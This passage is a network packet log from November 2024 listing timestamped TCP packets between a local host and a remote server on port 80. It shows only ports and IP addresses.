Nov 12, 2024 02:13:24.522640944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522646904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522653103 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.522669077 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522682905 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.522708893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.524352074 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637149096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637204885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637216091 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637217045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637242079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637257099 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637259007 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637274027 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637289047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637296915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637300968 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637312889 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637317896 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637320995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637336016 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637341976 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637347937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637353897 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637361050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637370110 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637387037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637387037 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637399912 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637406111 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637408972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637418985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637429953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637432098 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637454033 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637475014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637518883 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637531042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637542009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637563944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637563944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637581110 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637583971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637593985 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637605906 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637612104 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637618065 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637625933 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637638092 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637649059 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637669086 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637748003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637768030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637782097 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637789965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637800932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637803078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637819052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637823105 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637839079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637854099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637913942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637924910 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637937069 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.637955904 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637964010 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.637981892 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638010979 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638025045 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638040066 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638050079 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638061047 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638067007 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638077021 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638078928 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638093948 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638098955 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638115883 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638139963 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638153076 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638160944 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638170004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638179064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638184071 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638196945 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638197899 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638214111 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638241053 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638381958 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638396025 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638406992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638418913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638432026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638431072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638446093 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638462067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638468981 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638478041 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638505936 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638506889 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638523102 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638528109 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638536930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638539076 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638550043 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638559103 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638561964 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638576984 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638577938 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638586044 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638587952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.638612032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.638622999 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.678478956 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.678566933 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.678571939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.678611040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752655029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752727032 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752734900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752749920 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752774954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752784967 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752787113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752794027 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752814054 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752818108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752829075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752835989 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752849102 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752851963 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752866030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752868891 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752880096 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752891064 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752892017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752908945 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752913952 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752922058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752928972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752935886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752949953 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752950907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.752969980 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752990961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.752999067 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753040075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753040075 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753053904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753071070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753097057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753160954 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753175974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753196001 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753196001 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753216982 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753222942 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753237009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753237963 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753248930 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753262043 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753268003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753285885 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753289938 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753308058 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753309965 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753321886 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753325939 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753335953 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753345966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753357887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753357887 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753376961 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753451109 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753489971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753490925 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753504992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753525972 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753549099 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753576994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753588915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753599882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753623009 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753623962 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753638029 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753638029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753650904 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753664017 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753668070 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753690958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753712893 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753865004 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753884077 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753896952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753904104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753911018 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753923893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753936052 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753937006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753946066 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753948927 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753962994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753974915 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753974915 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.753987074 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.753992081 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.754008055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.754040956 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.754125118 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.754139900 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.754156113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.754204035 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.754216909 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.754313946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.754313946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.754313946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.754313946 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.834337950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.834368944 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.834384918 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.834397078 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.834394932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.834424973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.834424973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.834441900 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.867979050 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.867993116 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868005037 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868033886 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868052006 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868071079 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868086100 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868098974 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868108988 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868135929 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868139029 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868149042 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868161917 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868175030 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868175030 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868195057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868223906 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868236065 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868248940 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868259907 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868279934 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868309975 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868331909 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868338108 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868344069 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868412971 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868427038 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868438959 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868448973 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868453026 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868467093 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868468046 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868482113 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868485928 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868494034 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868494034 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868506908 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868524075 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868537903 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868565083 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868581057 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868592024 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868613958 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868628025 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868674040 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868685961 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868697882 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868710995 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868720055 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868745089 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868745089 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868745089 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868767023 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868804932 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868846893 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868859053 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868876934 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868885040 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868890047 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868900061 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868904114 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.868908882 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868921041 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868942976 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.868963003 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869002104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869040966 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869052887 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869071960 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869076014 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869085073 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869093895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869101048 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869127989 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869127989 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869142056 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869155884 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869169950 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869169950 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869178057 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869199038 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869224072 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869235992 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869247913 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869259119 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869267941 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869271994 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869286060 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869288921 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869304895 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869339943 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869370937 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869402885 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869411945 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869416952 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869457960 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869461060 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869473934 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869481087 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869497061 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869509935 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869513035 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869523048 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869534016 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869535923 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869549036 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869559050 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869570971 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869599104 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869710922 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869748116 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.869786978 CET	80	49755	185.215.113.206	192.168.2.4
Nov 12, 2024 02:13:24.869824886 CET	49755	80	192.168.2.4	185.215.113.206
Nov 12, 2024 02:13:24.949810982 CET	80	49755	185.215.113.206	192.168.2.4
